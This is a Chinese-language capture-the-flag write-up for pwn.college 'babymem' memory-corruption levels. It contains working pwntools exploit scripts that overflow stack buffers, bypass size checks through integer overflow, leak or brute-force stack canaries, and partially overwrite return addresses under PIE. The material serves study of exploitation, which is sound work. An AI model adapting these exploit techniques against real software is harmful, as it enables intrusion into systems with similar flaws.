Yes,Yes,Yes. I trust you can leak stack canary, and get flag~. But, What’s the flag? Can eat?
前面的level应该是太简单而删除了。直接从Level4.0开始的。
level4.0
直接运行这个level后看到: stack pointer points to 0x7ffe1d045370。也就是rsp
指向0x7ffe1d045370
base pointer points to 0x7ffe1d045400。 说明rbp
指向0x7ffe1d045400
he input buffer begins at 0x7ffe1d0453a0。 说明输入从0x7ffe1d0453a0
开始
起始,都不重要。它给的信息确实很多,告诉我们总共需要覆盖112个字节的数据,然后其中104个字节是填充,后面8个字节是返回地址。通过IDA直接能够拿到win()函数的偏移地址。但是IDA里反汇编发现大于82是不行的,而且输入是以%i
进行的,可以尝试输入-1。也就是0xffffffff
。可以通过栈看到的。然后就能发送超过82字节的数据。最后能够发现win函数的地址(不管是题目的tips还是IDA都能看到),这样exp一下就出来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
p = process('/challenge/babymem-level-4-0') payload = b'' size = b'-1' p.sendlineafter('size: ',size) payload += b'a' * 104 payload += p64(0x4016a9) print(payload) p.sendlineafter('bytes)!\n',payload)
print(p.recvall())
p.close()
|
level4.1
这道题现在就是不会打印出栈的信息了。可以通过gdb调试查看栈的信息。
因为都是带符号的,所以win()函数在哪可以通过b win知道。然后cyclic 256,生成的串直接给目标程序。size还是-1。然后发生段错误的时候,gdb能够知道ret的是哪个子串。最后通过cyclic -l 'jaabkaab'
,知道padding的长度。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
p = process('/challenge/babymem-level-4-1') payload = b'' size = b'-1' p.sendlineafter('size: ',size) payload += b'a' * 136 payload += p64(0x401685) print(payload) p.sendlineafter('bytes)!\n',payload)
print(p.recvall())
p.close()
|
level5.0
1 2 3 4 5 6 7 8
| In [1]: 0xFFFFFFFF&(0x7ffffffb * 0x7ffffffc) Out[1]: 2147483668
In [2]: 0xFFFFFFFF&(0x7ffffffb * 0x7ffffffd) Out[2]: 15
In [3]: 0x7ffffffb * 0x7ffffffd Out[3]: 4611686001247518735
|
两个很大的正数,相乘可以是一个很小的数。而最后相乘的时候因为第一个数强制转换为64位的数,因此到read那儿又是一个很大的数。
这两个数分别为2147483643,2147483645
。因此输入,即可绕过前面的验证,且到最后依然是一个很大的数。因此exp就很好写了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import *
p = process('/challenge/babymem-level-5-0') payload = b'' number = b'2147483643' size = b'2147483645' p.sendlineafter('send: ', number) p.sendlineafter('record: ', size) payload += b'a' * 56 payload += p64(0x401edc) print(payload) p.sendlineafter('bytes)!\n',payload)
print(p.recvall())
p.close()
|
level5.1
1
| 0x40178f <challenge+460> ret <0x6261616362616162>
|
没啥好说的,还是计算padding就能过。
level9.0
这一关PIE和Canary都开了
中间关卡应该也是被删了。直接来到了level9.0
这道题有一个变量n来帮助跳过canary,然后PIE的话,偏移不变,那么我们爆破返回地址的最后两个字节即可。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * # context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h']) # p = gdb.debug('/challenge/babymem-level-9-0', 'b challenge') for i in range(100): p = process('/challenge/babymem-level-9-0') payload = b'' # number = b'2147483643' size = b'58' # p.sendlineafter('size: ', number) p.sendlineafter('size: ', size) payload += b'a' * 36 + p8(55)+ p8(0x53) + p8(0x1a) # payload += p64(0x4014c4) p.sendlineafter('bytes)!\n',payload)
out=p.recvall() p.close() if b'pwn' in out: break # print(p.recvall()) # p.interactive() print(out.decode())
|
通过debug我们可以看到填充的第37个字节是变量n,然后后续就是两个地址,这两个是偏移地址。但是不是win函数的地址,而是win函数中flag_open的地址。这样我们就不需要考虑win函数的参数问题,从而能够直接拿到flag了。
level9.1
通过gdb知道,size的地址为0x7ffe2199ed88
,buf的首地址为0x7ffe2199eda0
。经过调试后发现n为覆盖的第25个字节。随后找ret地址。以及win函数中open的地址。(通过IDA会更快)
ret地址在0x7ffe2199edd8
,那么需要让n=55,然后win中的open地址为:0x00005ffe18dad457
而ret的main地址为0x5ffe18dad76b
。因此可以确定最后爆破的四位可以为0xd457
。
level10.0
flag存在input_buf后面,然后最后又会有一个you said
,把我们输入到memory中的内容打印出来。我们只需要不覆盖flag,并且把flag与input_buf中间的\0
都覆盖掉。那么就会顺带把flag打印出来。
level10.1
flag_buf: 0x7ffd2f64dc91
input_buf:0x7ffd2f64dc30
差距为0x61
,因此直接cyclic 97,然后输入即可。
level11.0
这道题,别用cyclic,直接用pwntools脚本,然后payload = b'a'*32768
level11.1
flag_buf : 0x77f299049000
input_buf : 0x77f299041000
脚本都没改…我怀疑我是不是走捷径了…但是这样做出来好像也没问题。就是yan课上所讲的东西。
level12.0
最后四位0x23EC
,我们要做的是,通过覆盖canary的最低位的两位0x00
,然后使得能够把canary泄露出来。再REPEAT后,使用泄露的canary覆盖原来的canary使其不变。最后覆盖ret_addr就行,并且覆盖ret_addr的最后两个字节进行爆破。最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import *
while True: p = process('/challenge/babymem-level-12-0') payload = b'' size = b'25' p.sendlineafter('size: ', size) payload += b'REPEAT' + b'a' * 19 p.sendlineafter('bytes)!\n',payload) substr = b'You said: REPEAT' out = p.recvuntil(b'aaaaaaaaaaaaaaaaaaa') canary = u64(p8(0x00) + p.recv(7))
print("canary:------------------", hex(canary)) size = b'42' p.sendlineafter('size: ', size) payload = b'' payload += b'a'*24 + p64(canary) + b'b'*8 + p16(0x23EC) p.sendlineafter('bytes)!\n',payload) out = p.recvall() p.close() if b'pwn' in out: break print(out) p.interactive()
|
level12.1
win中的open偏移为0x13D0
用gdb调试出偏移地址,当然也可以用IDA看偏移地址。
最后exp还是上一题的。改一改偏移即可。
level13.0
这题,发现flag依然在input_buf后面的可写memory中,因此依然是覆盖到flag,然后泄露出flag即可。
level13.1
gdb调试一下,查看flag地址:0x7ffe29d119f8
,查看input_buf的地址:0x7ffe29d11980
算出padding:0xf8-0x80 = 120
然后就能泄露flag了。
level14.0
这道题,题目提示有东西没有被初始化。然后在栈上发现了残留的canary。然后算偏移就行了。尝试在gdb中调试查看到是在challenge中使得我们Repeat后的栈空间残留下来canary。不过不重要了,记住一点:栈复用是有可能存在残留数据可利用的。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * # context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h']) # p = gdb.debug('/challenge/babymem-level-9-1', 'b challenge')
while True: p = process('/challenge/babymem-level-14-0') #payload = b'' # number = b'2147483643' size = b'57' # p.sendlineafter('size: ', number) # pause() p.sendlineafter('size: ', size) payload = b'REPEAT' + b'a' * (51) # payload += p64(0x4014c4) p.sendlineafter('bytes)!\n',payload)
out = p.recvuntil(b'a'*(51)) canary = u64(p8(0x00) + p.recv(7))
print("canary:------------------", hex(canary)) size = b'346' p.sendlineafter('size: ', size) payload = b'' # pause() payload += b'a'*0x148 + p64(canary) + b'b'*8 + p16(0xBEFB) p.sendlineafter('bytes)!\n',payload) out = p.recvall() p.close() if b'pwn' in out: break print(out) # p.interactive() # print(out.decode())
|
level14.1
通过gdb调试出input_buf和残留canary之间的偏移:0x7ffe2b972e38 - 0x7ffe2b972da0
即0x98,再+1即覆盖低位00能够泄露。然后脚本依然是上面那个,改改偏移即可。
level15.0
这道题我就直接按照不会给stack来做了。所以,直接IDA打开,查看偏移地址。然后直接开始爆破就行。需要爆破Canary以及ret_addr的倒数第二个字节。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import * # context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h']) # p = gdb.debug('/challenge/babymem-level-9-1', 'b challenge') x = 0x01 tmp = b'' canary = p8(0x00) length = [b'122',b'123', b'124', b'125', b'126', b'127', b'128'] i = 0 while True: p = remote('127.0.0.1', 1337) payload = b'' payload += length[i] p.sendlineafter(b'ize: ', payload) padding = b'a' * 120 tmp = canary y = p8(x) x += 1 tmp += y payload = padding + tmp print(payload) p.sendafter(b'bytes)!\n', payload) out = p.recvall() # print(out) p.close() if b'terminated' not in out: canary += y if len(canary) == 8: break i += 1 x = 0 continue print("canary:", canary) x = 0x01 while True: p = remote('127.0.0.1', 1337) payload = b'138' p.sendlineafter(b'ize: ', payload) padding = b'a' *120 payload = padding + canary + b'b'*8 + p8(0x95) + p8(x) x +=1 p.sendafter(b'bytes)!\n', payload) out = p.recvall() p.close() print(out) if b"pwn" in out: break print(out)
|
这exp写的挺丑陋的O.o…那就再说一下思路吧:
canary需要爆破,那么最低字节为0x00不用动,然后因为程序会根据canary是否被修改而反馈,所以依据反馈来判断当前覆盖的字节是否是canary的值。因此可以爆破出canary。(其次的原因是因为fork会继承父进程的canary,这个yan在视频里讲了就不赘述)
然后IDA打开,查看我们输入的buf的偏移(这里要注意,不是IDA打开的buf变量,因为buf在后面被赋值了一个变量,那个变量的偏移才是需要的偏移。)最后爆破ret_addr的倒数第二个字节就行了。
level15.1
同15.1,只需要修改偏移地址而已。